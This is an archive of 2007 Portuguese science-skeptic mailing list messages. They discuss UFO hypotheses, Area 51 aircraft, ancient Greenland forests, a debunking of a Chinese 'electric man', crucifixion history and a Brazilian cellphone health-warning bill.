ufólogos, não possuíam olhos completamente negros e incluíam mesmo
alienígenas com *enormes narizes*.

*
*
*Fato 5*

* A hipótese de que OVNIs sejam espaçonaves extraterrestres não é a única
hipótese explorada na ufologia.*

"O fenômeno OVNI permanece uma vasta e controversa parte da cultura moderna.
Sem prova definitiva sobre a causa do fenômeno, nós somos forçados a deduzir
a melhor explicação. Quando a totalidade do fenômeno e toda a evidência é
considerada, eu acredito que a *hipótese psicossocial* emerge como a melhor
explicação até a data presente. A hipótese extraterrestre, embora atrativa
para muitos, permanece sem apoio confiável. A hipótese psicossocial também
permite aos céticos sobre OVNIs a lidar com o tema como um fenômeno
verdadeiro que merece uma explicação séria. A evidência aponta para um
complexo fenômeno que combina mitologia moderna, narrativa literária,
cultura popular e psicologia humana".
Do artigo de Steven Novella, OVNIs: A Hipótese
Psicossocial<http://www.ceticismoaberto.com/ufologia/psh.htm>
.

*
*
*Fato 6*

* Os extraterrestres não só deveriam existir, eles deveriam estar nos
visitando.*

A ufologia pode não conter elementos que indiquem a existência e interação
com civilizações extraterrestres, mas longe de ser algo confortante à luz da
ciência, *tal constatação deveria ser tantalizante*. O universo tem mais de
uma dezena de bilhões de anos de idade, e apenas nossa Galáxia possui mais
de 200 bilhões de estrelas, boa parte das quais — hoje sabemos — possui
sistemas planetários. Mesmo sem violar qualquer lei física conhecida hoje,
viajando a um décimo da velocidade da luz e com tecnologia não muito mais
avançada que a atual, estima-se que seria possível colonizar toda a Galáxia
em menos de 100 milhões de anos. *Uma única civilização em qualquer ponto de
nossa Galáxia com tecnologia ligeiramente superior à nossa poderia
colonizá-la por completo em uma fração do tempo em que a vida habita o nosso
planeta*.
Seguramente, há muito que não sabemos, e tais estimativas podem derivar
simplesmente de nossa própria ignorância. Contudo, o ponto aqui é justamente
frisar que nosso conhecimento científico presente sugere fortemente que
extraterrestres não só deveriam existir, como deveriam estar nos visitando.
Que isto não esteja ocorrendo é um paradoxo em si mesmo, formulado
inicialmente pelo físico Enrico
Fermi<http://www.ceticismoaberto.com/ciencia/paradoxofermi.htm>tão
logo descobertas cosmológicas revelaram detalhes cruciais sobre o
tamanho e idade de nosso Universo. É o paradoxo de
Fermi<http://www.ceticismoaberto.com/ciencia/pfermi.htm>
.

Postado em Ufologia <http://www.ceticismoaberto.com/news/?cat=2>,
Fortianismo <http://www.ceticismoaberto.com/news/?cat=4>,
Extraterrestres<http://www.ceticismoaberto.com/news/?cat=10>,
Ceticismo <http://www.ceticismoaberto.com/news/?cat=12> | Por Mori Comente!
» <http://www.ceticismoaberto.com/news/?p=920#respond>

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SUBJECT: Quatro aviões super-ultra-secretos da Área 51
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 11/07/2007 01:04

Quatro avi�es super-ultra-secretos da �rea
51<http://www.ceticismoaberto.com/news/?p=923>

<http://www.popsci.com/popsci/aviationspace/09a16f096bd8d010vgnvcm1000004eecbccdrcrd.html>
Clique na imagem para ver quatro concep��es art�sticas de aeronaves de
�ltima gera��o que a revista *Popular Science* especula estarem sendo
desenvolvidos na �rea 51, a "mais famosa base secreta do
mundo<http://www.ceticismoaberto.com/referencias/a51.htm>".
O artigo, de Bill Sweetman, voc� confere aqui: The Top-Secret Warplanes of
Area 51<http://www.popsci.com/popsci/aviationspace/95e16f096bd8d010vgnvcm1000004eecbccdrcrd.html>.
Como n�o poderia deixar de ser, h� refer�ncias ao projeto Aurora. H� mais de
vinte anos se especula que os EUA estariam desenvolvendo tal aeronave
revolucion�ria, com evid�ncias como estrondos s�nicos e estranhos rastros de
fuma�a no c�u. Desta vez, Sweetman diz que furos no or�amento americano
poderiam cobrir at� nove bilh�es de d�lares para um projeto secreto desta
natureza. Se Aurora existe, algum dia saberemos � quando uma nova aeronave
hiper-ultra-secreta j� estiver em produ��o.

Postado em Ufologia <http://www.ceticismoaberto.com/news/?cat=2>,
Curiosidades <http://www.ceticismoaberto.com/news/?cat=7>,
Ceticismo<http://www.ceticismoaberto.com/news/?cat=12>| Por Mori
Comente!
� <http://www.ceticismoaberto.com/news/?p=923#respond>

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SUBJECT: Mais lenha para a fogueira do aquecimento global?
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/07/2007 01:14

Floresta no gelo

Análise feita a partir de DNA pré-histórico encontrado a 2 km da
superfície conclui que a Groenlândia, hoje coberta por gelo em 80% do
território, teve florestas há milhares de anos

A Groenlândia, maior ilha do mundo, tem gelo cobrindo 80% de seus 2,1
milhões de quilômetros quadrados. Muito branco e pouco verde,
diferentemente do que sugere o nome da ilha em inglês (Greenland) ou
no original escandinavo (Grænland).

Calcula-se que ali, hoje território dinamarquês, esteja um quarto de
todo o gelo encontrado na superfície do planeta. Historiadores apontam
que o verde do nome teria sido escolhido para atrair mais pessoas para
a inóspita região na qual, além do gelo e do solo rochoso,
encontravam-se apenas a tundra e o musgo no litoral.

Mas quem quer que tenha dado o nome teria acertado, caso tivesse
vivido um bom tempo antes.

Um novo estudo, que incluiu a análise genética de amostras de
organismos pré-históricos encontrados no gelo, concluiu que a
Groenlândia tinha um clima muito mais quente do que se imaginava,
suficiente para a existência de florestas, ricas em plantas e pequenos
invertebrados, entre 450 mil e 900 mil anos atrás.

Os resultados da pesquisa, que implicam um clima mais quente para todo
o planeta no período em questão, estão em artigo publicado na edição
de 6 de junho da revista Science. Até então, a mais recente evidência
de uma floresta boreal na região tinha 2,4 milhões de anos.

As amostras analisadas foram recuperadas de uma espessa camada de gelo
a cerca de dois quilômetros abaixo da superfície e continham sinais de
insetos, árvores e outras plantas.

"Os resultados do estudo permitem que façamos uma reconstrução
ambiental mais exata do período ao qual pertencem as amostras e
mostram que essa parte do mundo era significativamente mais quente do
que se pensava", disse Martin Sharp, da Universidade de Alberta, no
Canadá, um dos autores do artigo.

Segundo os pesquisadores, o gelo encontrado sob a gigantesca geleira
da Groenlândia produz um "freezer natural" perfeito para a preservação
de DNA pré-histórico. Anteriormente, havia sido encontrado material
orgânico, mas esta é a primeira vez em que se recuperou DNA não
contaminado com tamanha idade.

As amostras foram comparadas com outras obtidas no Ártico canadense. A
análise concluiu também que as amostras de DNA da Groenlândia eram de
florestas que cresceram nos próprios locais, e não foram transportadas
pelo vento ou pela água a partir de outras partes do planeta.

Segundo o estudo, as temperaturas nas florestas ao sul da ilha eram de
-17ºC no inverno, mas chegavam a 10ºC durante o verão. Outra conclusão
é que o nível do oceano era de 1 a 2 metros acima do atual. Mas Sharp,
ainda que concorde que condições naturais poderiam levar o planeta ao
atual cenário de aquecimento global, destaca o perigo de se aceitar
tal teoria.

"O atual aquecimento pode ser resultado tanto de processos naturais
como da influência humana. Ou pelos dois juntos. Neste caso,
estaríamos caminhando em direção a aumentos de temperatura muito
maiores do que estimam as previsões atuais", disse Sharp.

O artigo Ancient biomolecules from deep ice cores reveal a forested
southern Greenland, de Eske Willerslev, Matthew J.Collins e outros,
pode ser lido por assinantes da Science em http://www.sciencemar.org.
(Agência Fapesp, 6/7)



SUBJECT: O homem de 220 V
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 11/07/2007 01:40

O homem de 220 V <http://www.ceticismoaberto.com/news/?p=925>

<http://spluch.blogspot.com/2007/07/electric-man-cooks-live-fish-in-2.html>
Segundo jornais chineses, Zhang Deke, de 71 anos, pratica um exerc�cio para
a sa�de incomum: "carrega" seu corpo de eletricidade segurando fios
el�tricos de 220 V. Para demonstrar sua habilidade de "condu��o f�sica",
Zhang ainda acende l�mpadas presas ao corpo, controla sua luminosidade e
seria capaz mesmo de assar um peixe em dois minutos. Habitantes locais o
estariam chamando de "Homem El�trico" ou "Homem Maravilha". O senhor 220V
usaria suas habilidades especiais para o bem da humanidade, j� que tamb�m
aplicaria eletricidade em amigos e parentes para tratar doen�as como
reumatismo e artrite, alegadamente com sucesso. Isto � incr�vel?
Mesma uma tens�o de 110V direto da tomada pode fazer isto com uma
salsicha<http://www.evilmadscientist.com/article.php/hotdogs>.
Se o senhor Zhang Deke realmente estivesse conduzindo correntes vindas
diretamente da tomada por todo seu corpo, n�o poderia curar ningu�m porque
ele mesmo estaria morto. N�o � uma quest�o simples de mera resist�ncia
f�sica ao choque. Ou melhor, �: a resist�ncia de seu corpo produziria calor
suficiente para cozinh�-lo, principalmente se ele lida com correntes que
assariam um peixe. O que ent�o estaria acontecendo aqui?
Note como as l�mpadas n�o t�m seus terminais fincados dentro do corpo do
senhor 220V � ao contr�rio dos LEDs fincados na salsicha el�trica. H� v�rios
fios em volta do corpo de Zhang. O que ele provavelmente faz � estabelecer
alguns circuitos ligando os v�rios fios que possui, estando seguro de que
sempre estejam ligados a algum dispositivo el�trico � como l�mpadas � e
ent�o possa segurar os contatos el�tricos abertos. Deve levar algum choque,
mas nada letal, a corrente passar� pelos dispositivos el�tricos, n�o por seu
corpo. O que voc� acha?
As imagens e habilidades "especiais" de Zhang Deke me lembraram dos fabulosos
homens-cola <http://www.ceticismoaberto.com/news/?p=450>.
[via Gizmodo<http://gizmodo.com/gadgets/not-healthy/electric-man-cooks-fish-cures-rheumatism-276472.php>,
Spluch<http://spluch.blogspot.com/2007/07/electric-man-cooks-live-fish-in-2.html>
]

Postado em Fortianismo <http://www.ceticismoaberto.com/news/?cat=4>,
Personalidades <http://www.ceticismoaberto.com/news/?cat=5>,
Curiosidades<http://www.ceticismoaberto.com/news/?cat=7>,
Parapsicologia <http://www.ceticismoaberto.com/news/?cat=8>,
Ceticismo<http://www.ceticismoaberto.com/news/?cat=12>| Por Mori
Comente!
� <http://www.ceticismoaberto.com/news/?p=925#respond>

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Homem do Saco da Van Verde Relatos de um homem ...
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fantasmas! C�rculos ingleses...
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vive de luz? N�o! V�rios...
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abomin�vel homem do saco (de papel) Com olhos ...


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SUBJECT: Coleção de vídeos de química
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/07/2007 02:41

http://jchemed.chem.wisc.edu/JCESoft/CCA/pirelli/index.html


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SUBJECT: Re: [ciencialist] A sociedade como soma de indivíduos
FROM: "SILVIO CORDEIRO" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 11/07/2007 12:13

Álvaro:

Perfeito seu argumento. Se encontrar algum oficial das SS (diversos foram para a Argentina) vou perguntar se realmente fizeram essa experiência.

um bom dia,
silvio.
----- Original Message -----
From: Alvaro Augusto (U)
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, July 10, 2007 11:32 PM
Subject: Re: [ciencialist] A sociedade como soma de indivíduos


Há controvérsias. Como não há esqueletos de crucificados (os corpos eram
deixados por conta dos abutres), não há como ter certeza, mas a hipótese dos
pregos nas mãos não é totalmente inviável, por duas razões: (a) o peso do
corpo não era totalmente sustentado pelas mãos, mas também pelo apoio dos
pés; (b) além de usar pregos, os romanos amarravam os braços à trave,
evitando que a mão se soltasse. Além disso, os pregos nos pulsos causariam o
fim prematuro e indesejado do "espetáculo", pois o sangramento excessivo
provocaria morte mais rápida.

[ ]s

Alvaro Augusto

----- Original Message -----
From: "SILVIO CORDEIRO" <scordeiroes@superig.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, July 10, 2007 9:33 PM
Subject: Re: [ciencialist] A sociedade como soma de indivíduos

Victor:

Os alemães fizeram a experiência da crucificação com os cravos atravessando
a mão: é inviável, a mão não resiste ao peso do corpo e se rompe.

A crucifixação era feita pelos pulsos onde a estrutura é muito mais
resistente. E o curioso, como o caso da Tereza Neumann na Alemanha é que na
semana santa as chagas aparecia na palma da mão dela. Outros casos ocorreram
da mesma forma e em mulheres de meia idade, solteiras.
Isso é da alçada de estudos da psiquiatria sobre a histeria.

sds.,

silvio.
----- Original Message -----
From: J.Victor
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, July 10, 2007 7:12 AM
Subject: RES: [ciencialist] A sociedade como soma de indivíduos

>"Meu Deus, meu Deus, por que me
abandonaste?", pronunciada por Jesus Cristo durante o tortura da
crucificação, é uma oração a Deus contida no Salmo 22 (21).

Vou arriscar um comentário, defendo, já, que não é tão offt-opic. Há
referências à eletrônica e ao Léo. Logo, tem um pouco de ciência no meio.
Portanto, lá vai bala.

Até onde contam, o suposto Cristo estava pendurado por pregos nas mãos,
sem
um apoio adequado nos pés, devido aos pregos neles também cravados. Mesmo
que quisesse segurar o tórax retesando os músculos dos braços, isto não
seria possível, pois a dor nas mãos cravadas impediria. Alguém se habilita
a fazer um teste, para validar esta herética tese? Mãos e pés deviam doer
prá dedéu. Em condições assim, após algum tempo, a respiração torna-se
difícil, a capacidade de racionar, idem. Falar, no início, só baixinho ou
sussurros. Não há forças suficientes. A cruz era bastante alta, conforme
os
relatos. Ventava muito. Havia barulho de pessoas falando. No entanto,
Cristo
teria dito para o "bom ladrão" aquilo de "ainda hoje estarás comigo no
paraíso", ou algo assim, além de citações como a acima.( "Bom ladrão",
tinha muita graça! )Contudo, assaltam-me dúvidas heréticas:

1- Mas Cristo só foi para o "céu", com roupa e tudo, "apenas" no
terceiro dia. Como diabos é que disse ao Dimas que, "ainda hoje", estaria
com ele lá no "paraíso"? Seria para o cara morrer rindo e satisfeito, ante
a agonia? Que previsão mais furada!

2- Quem ouviu aquelas conversas todas? Como poderiam ter ouvido, se o
supliciado não tinha condições físicas para nada e as atmosféricas não
eram
lá muito favoráveis? A não ser que Léo houvesse instalado um amplificador,
microfone e alto falantes, além de um gravador! Mas, se não me engano,
naqueles tempos, a ciência eletrônica, nem Léo, ainda nem existiam... Ou
será que estou enganado?

3- Tudo já estava programado, determinado, Ele sabia de tudo, havia
avisado aos apóstolos, tudinho, inclusive quem o "trairia", TIM-tim-tim
por
TIM-tim-tim, além de outros conhecimentos prévios (Gates deveria ser o
culpado por haver programado Judas, os soldados que espetavam os
crucifcados, quem mandou fazer aquelas misérias..., e não eles, que foram
para o inferno sem dó nem piedade!) Estava reclamando de quê? E porque o
assombro que veio posteriormente? Ao cabo e ao fim, ficou uma mensagem de
dor, agonia, desespero, assassinato, condenação do "mau" ladrão e
absorvição
do "bom" ladrão. Sangue, ringir de dentes, expressões melosas e lânguidas.
Esta é a mensagem que ficou, e que norteia o cristianismo, em qualquer das
seitas existentes. É de uma ingenuidade que dá dó, essa fé dogmática. Léo,
como divindade, deve explicar como conseguiu que todos ouvissem as
palavras
finais. Não tem outra explicação. Tinha que haver eletrônica por ali...

4- Finalmente, só fico imaginando o que seria de nós outros, hoje, se
Barrabás tivesse sido o escolhido para fazer a festa lá na c ruz, ao invés
do Cristo, no monte Golgotá. Como seria essa religião hoje, e o que
seríamos, que denominação teríamos, enfim, em relação a ela? (Um pensador
genial já deu a solução. Mas não digo agora, qual).

Sds,

Victor.

De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de José Renato
Enviada em: domingo, 8 de julho de 2007 22:35
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] A sociedade como soma de indivíduos

Manuel Bulcão escreveu: [ Demais, foi através de Cristo que a razão
crítica
(razão esta que Popper, no século XX, deu o acabamento final) veio ao
mundo.

"Pai, por que me abandonaste?" (Mateus, XXVI, 46). Vemos, nessa
interrogação

dolorosa, a razão questionando a própria razão e, ipso facto, o direito ao
questionamento erigido a
princípio teológico. ]
.....................................

Caro, Bulcão! A citação de Mt 26,46 "Meu Deus, meu Deus, por que me
abandonaste?", pronunciada por Jesus Cristo durante o tortura da
crucificação, é uma oração a Deus contida no Salmo 22 (21). É um grito de
angústia real, mas não de desespero, pois o texto em sua continuação vem
seguido por uma certeza jubilosa do orante ao triunfo final - conforme
notas

de rodapé da Bíblia de Jerusalém.
[]s
José Renato
.....................................

----- Original Message -----
From: "Manuel Bulcão" <manuelbulcao@uol.com.br
<mailto:manuelbulcao%40uol.com.br> >
To: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
Sent: Sunday, June 17, 2007 9:03 PM
Subject: [ciencialist] A sociedade como soma de indivíduos

Oi pessoal,

Andei lendo o blog do Rodrigo Constantino. O cara é bom, muito
inteligente, erudito. Entretanto, no mais recente artigo dele, "As
Sete Maravilhas", cometeu algumas bobagens, a começar pela asserção
segundo a qual "a sociedade não passa de um somatório de indivíduos"
(sobre essa afirmação, gostaria que os adeptos da sociobiologia da C-
List tecessem alguns comentários).

Incomodado com tamanha baboseira ultraliberalóide, resolvi publicar,
no próprio blog do autor, a seguinte mensagem:

"A sociedade não passa de um somatório de indivíduos, e seria mais
saudável que as pessoas passassem a julgar - para o bem e para o mal -
atos individuais. Eu tenho mais respeito e afinidade por um
australiano distante que defenda a liberdade individual do que por um
vizinho marxista. Por esses motivos acima, não quero saber de voto em
Cristo Redentor!" (Rodrigo Constantino)

Constantino,

Uma sociedade não é um somatório de indivíduos, mas uma "estrutura".
Soma de "indivíduos" é uma colônia de bactérias, haja vista que uma
monera singular, via de regra, não depende das outras nem mesmo para
se reproduzir.

Toda sociedade é um complexo de "relações" entre indivíduos: relações
sexuais, relações afetivas ou de cuidado (como a das mães com as suas
proles), relações de cooperação, relações de troca, relações de
aprendizado, relações de dominação ou hierárquicas etc.

Você, um liberal que cultua o Indivíduo, fala que, em nossos
julgamentos, deveríamos nos ater - para o bem e para o mal - aos atos
individuais. Ora, como julgar Goethe, e em particular a sua obra-
prima "Fausto", sem levar em conta o empreendimento etnológico ou
a "criação coletiva" em que ele se inspirou: a "lenda" de Fausto? E
como avaliar esse "ato individual" que é a obra "Grande Sertão:
Veredas", de Guimarães Rosa, sem considerar a matéria-prima dessa
magnífica obra, a saber, o folclore mineiro, que, como todo folclore,
é construção coletiva? (poderia, ainda, celebrar as estupendas
criações "individuais" de Ariano Suassuna, Patativa de Assaré e até
Homero, que modelaram suas obras tendo por barro os mitos e lendas -
empreendimentos coletivos e anônimos - do seu povo.

Você afirma que prefere o significado da estátua da Liberdade ao do
Cristo Redentor. Ora, até para um ateu não bitolado, Cristo é símbolo
de muitas coisas boas. Com efeito, quando Jesus afirmou "meu reino
não é deste mundo" e "dai a César o que é de César e a Deus o que é
de Deus", com essas sentenças estabeleceu-se pela primeira vez a
alvissareira possibilidade (que não existe nos demais monoteísmos
abraâmicos: o judaísmo e o islamismo) da laicização da política, da
separação entre Igreja e Estado. Demais, foi através de Cristo que a
razão crítica (razão esta que Popper, no século XX, deu o acabamento
final) veio ao mundo. "Pai, por que me abandonaste?" (Mateus, XXVI,
46). Vemos, nessa interrogação dolorosa, a razão questionando a
própria razão e, ipso facto, o direito ao questionamento erigido a
princípio teológico.

Sim, o Cristo Redentor não é apenas bonito.

De resto, ao contrário de você, não costumo reduzir as pessoas às
suas crenças. Sou de centro-esquerda. Não obstante isso, tenho mais
respeito ao meu vizinho liberal de direita (um homem íntegro e bom)
do que por canalhas que pensam igualzinho a mim, não importando onde
vivam (Lembro que também há muitos liberais calhordas).

Abraço.
4:26 PM

Manuel Bulcão

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[As partes desta mensagem que não continham texto foram removidas]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Lei obriga fabricante a colocar a msg 'Celular pode causar danos à saúde'
FROM: Robespierre B. Gonçalves <robespierre.goncalves@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/07/2007 12:47

Pessoal,

Já existe alguma comprovação de que celulares fazem mal à saúde? Em
que se baseia esta lei?

Origem: http://www.tiinside.com.br/Filtro.asp?C=265&ID=75670

Segue o texto:

`Celular pode causar danos à saúde' será frase obrigatória em
publicidade
Sexta-feira, 06 de Julho de 2007, 19h39

A Comissão de Seguridade Social e Família da Câmara dos Deputados
aprovou o projeto de lei do deputado João Paulo Cunha (PT-SP), que
obriga os fabricantes de celulares a alertar os consumidores sobre a
possibilidade de danos à saúde causados pelo uso dos aparelhos. De
acordo com a proposta, a propaganda dos equipamentos celulares nos
meios de comunicação conterá a seguinte mensagem falada ou
escrita: "O uso contínuo de aparelhos de telefonia celular pode
causar danos à saúde". A mesma advertência deverá aparecer nas
embalagens, manuais e cartazes referentes a esses produtos, quando
não se destinarem à exportação.

O relator na comissão, deputado Eduardo Amorim (PSC-SE), recomendou
a aprovação da proposta na forma do substitutivo adotado pela
Comissão de Defesa do Consumidor. De acordo com o substitutivo, o
descumprimento da determinação do projeto sujeitará o infrator às
sanções administrativas previstas no Código de Defesa do Consumidor
(Lei 8078/90), sem prejuízo de outras penalidades. Entre as punições
citadas no código estão multa, suspensão de fornecimento de produto
e cassação de licença do estabelecimento. O projeto original previa
multa de R$ 10 mil por lote do produto ou peça publicitária
veiculada sem a mensagem de alerta.

O projeto já foi aprovado em todas as comissões que analisavam seu
conteúdo, mas resta a análise dos aspectos jurídicos e
constitucionais, que será feita pela Comissão de Constituição e
Justiça e de Cidadania. Depois disso, o projeto precisa ser votado
em plenário.

Com informações da Agência Câmara.



SUBJECT: Re: O homem de 220 V
FROM: Robespierre B. Gonçalves <robespierre.goncalves@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/07/2007 12:55

Quando eu morei em La Paz, uns 20 anos atrás, devido a secura do ar
ambiente, fazia várias brincadeiras com a eletricidade estática. Uma
delas era ligar e desligar a TV, passar a mão na tela e dar um
choque em quem estivesse perto. Ou então descarregava em algum
cinzeiro ou outro objeto de metal , só para ver os raios saidos de
minhas mãos. Segurando apenas o fio fase, também é possível.

[]s,
Pierre


--- Em ciencialist@yahoogrupos.com.br, "Kentaro Mori"
<kentaro.mori@...> escreveu
>
> O homem de 220 V <http://www.ceticismoaberto.com/news/?p=925>
>
> <http://spluch.blogspot.com/2007/07/electric-man-cooks-live-fish-
in-2.html>
> Segundo jornais chineses, Zhang Deke, de 71 anos, pratica um
exercício para
> a saúde incomum: "carrega" seu corpo de eletricidade segurando fios
> elétricos de 220 V. Para demonstrar sua habilidade de "condução
física",
> Zhang ainda acende lâmpadas presas ao corpo, controla sua
luminosidade e
> seria capaz mesmo de assar um peixe em dois minutos. Habitantes
locais o
> estariam chamando de "Homem Elétrico" ou "Homem Maravilha". O
senhor 220V
> usaria suas habilidades especiais para o bem da humanidade, já que
também
> aplicaria eletricidade em amigos e parentes para tratar doenças
como
> reumatismo e artrite, alegadamente com sucesso. Isto é… incrível?
> Mesma uma tensão de 110V direto da tomada pode fazer isto com uma
> salsicha<http://www.evilmadscientist.com/article.php/hotdogs>.
> Se o senhor Zhang Deke realmente estivesse conduzindo correntes
vindas
> diretamente da tomada por todo seu corpo, não poderia curar
ninguém porque
> ele mesmo estaria morto. Não é uma questão simples de mera
resistência
> física ao choque. Ou melhor, é: a resistência de seu corpo
produziria calor
> suficiente para cozinhá-lo, principalmente se ele lida com
correntes que
> assariam um peixe. O que então estaria acontecendo aqui?
> Note como as lâmpadas não têm seus terminais fincados dentro do
corpo do
> senhor 220V — ao contrário dos LEDs fincados na salsicha elétrica.
Há vários
> fios em volta do corpo de Zhang. O que ele provavelmente faz é
estabelecer
> alguns circuitos ligando os vários fios que possui, estando seguro
de que
> sempre estejam ligados a algum dispositivo elétrico — como
lâmpadas — e
> então possa segurar os contatos elétricos abertos. Deve levar
algum choque,
> mas nada letal, a corrente passará pelos dispositivos elétricos,
não por seu
> corpo. O que você acha?
> As imagens e habilidades "especiais" de Zhang Deke me lembraram
dos fabulosos
> homens-cola <http://www.ceticismoaberto.com/news/?p=450>.
> [via Gizmodo<http://gizmodo.com/gadgets/not-healthy/electric-man-
cooks-fish-cures-rheumatism-276472.php>,
> Spluch<http://spluch.blogspot.com/2007/07/electric-man-cooks-live-
fish-in-2.html>
> ]
>
> Postado em Fortianismo <http://www.ceticismoaberto.com/news/?
cat=4>,
> Personalidades <http://www.ceticismoaberto.com/news/?cat=5>,
> Curiosidades<http://www.ceticismoaberto.com/news/?cat=7>,
> Parapsicologia <http://www.ceticismoaberto.com/news/?cat=8>,
> Ceticismo<http://www.ceticismoaberto.com/news/?cat=12>| Por Mori
> Comente!
> » <http://www.ceticismoaberto.com/news/?p=925#respond>
>
> *Posts relacionados:*
> - <$BlogItemSubject$> <http://www.ceticismoaberto.com/news/?
p=575> O
> Homem do Saco da Van Verde Relatos de um homem ...
> - <$BlogItemSubject$>
> <http://www.ceticismoaberto.com/news/?p=443>"Para servir o homem" O
> significado da mensagem ...
> - <$BlogItemSubject$>
> <http://www.ceticismoaberto.com/news/?p=365>Círculos ingleses
> fantasmas! Círculos ingleses...
> - <$BlogItemSubject$>
> <http://www.ceticismoaberto.com/news/?p=105>NASA convida homem que
> vive de luz? Não! Vários...
> - <$BlogItemSubject$> <http://www.ceticismoaberto.com/news/?
p=424> O
> abominável homem do saco (de papel) Com olhos ...
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: Re: [ciencialist] O homem de 220 V
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>, <enigmasonline@yahoogrupos.com.br>, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 11/07/2007 18:03

Vejam as duas últimas figuras dessa página.

http://www.feiradeciencias.com.br/feiravirtual/feiravirtual_05.asp

Essa é a forma correta do experimento. Todavia o experimento grotesco apresentado no link do Kentaro
[ <http://www.evilmadscientist.com/article.php/hotdogs> ] tem algo interessante e que, sem dúvida, acrescentou dinamismo: os LEDs realmente funcionam! A salsicha que 'cozinhei' fica intragável ... mas os 5 LEDs que espetei, realmente acenderam [um deles era um LED pisca-pisca e chamou bastante atenção]

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Kentaro Mori" <kentaro.mori@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>; <enigmasonline@yahoogrupos.com.br>; "lista CA" <ceticismoaberto@yahoogrupos.com.br>
Enviada em: quarta-feira, 11 de julho de 2007 01:40
Assunto: [ciencialist] O homem de 220 V


O homem de 220 V <http://www.ceticismoaberto.com/news/?p=925>




SUBJECT: Re: [ciencialist] Re: O homem de 220 V
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 11/07/2007 18:06

Vejam detalhes da técnica liga-desliga da TV ou monitor em:

http://www.feiradeciencias.com.br/sala11/11_06.asp

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Robespierre B. Gonçalves" <robespierre.goncalves@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 11 de julho de 2007 12:55
Assunto: [ciencialist] Re: O homem de 220 V


Quando eu morei em La Paz, uns 20 anos atrás, devido a secura do ar
ambiente, fazia várias brincadeiras com a eletricidade estática. Uma
delas era ligar e desligar a TV, passar a mão na tela e dar um
choque em quem estivesse perto. Ou então descarregava em algum
cinzeiro ou outro objeto de metal , só para ver os raios saidos de
minhas mãos. Segurando apenas o fio fase, também é possível.

[]s,
Pierre



SUBJECT: Física
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 11/07/2007 18:09



Quem se habilita?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Odair Junior


Olá professor Léo. Tenho uma pequena grande dúvida, que é: Já li em livros em que o ÍNDICE DE REFRAÇÃO da luz é proporcional à densidade do ar e inversamente proporcional à temperatura do ar. Por quê? Como esses fatores alteram esse índice? Desde já agradeço.



SUBJECT: Re: [ciencialist] Lei obriga fabricante a colocar a msg 'Celular pode causar danos à saúde'
FROM: "André L F S Bacci" <andrebacci.listas@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/07/2007 18:38

On 7/11/07, Robespierre B. Gonçalves <robespierre.goncalves@gmail.com> wrote:
> Pessoal,
>
> Já existe alguma comprovação de que celulares fazem mal à saúde? Em
> que se baseia esta lei?

No que se baseia a lei, nas próprias anotações dela você pode
encontrar as justificativas dela no projeto de lei original.

Bem... agora sobre fazer mal... Não tem como você como colocar uma
fonte de radiação (mesmo que baixa) do seu lado, por toda a vida, e
esperar que o corpo reaja exatamente igual como se essa fonte não
existisse (idem para a pasta de dente, uso de Pinho Sol, açúcar ou sal
iodado...)

Isso posto, a pergunta é o quanto mal isso faz. A lei fala
especificamente de "uso contínuo pode causar danos". Não parece falso,
em princípio, e é corroborado por alguns estudos sobre cancêres:
http://en.wikipedia.org/wiki/Mobile_phone_radiation_and_health#Mobile_phones_and_cancer

Pra comparar com
http://pt.wikipedia.org/wiki/Asbesto#Patologias_causadas_por_asbesto

André


SUBJECT: Fw: ComCiência
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 11/07/2007 19:27

Devem ter recebido isso, mas, por via das dúvidas .........

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Labjor" <labjor@unicamp.br>
Para: <leobarretos@uol.com.br>
Enviada em: terça-feira, 10 de julho de 2007 17:45
Assunto: ComCiência


|
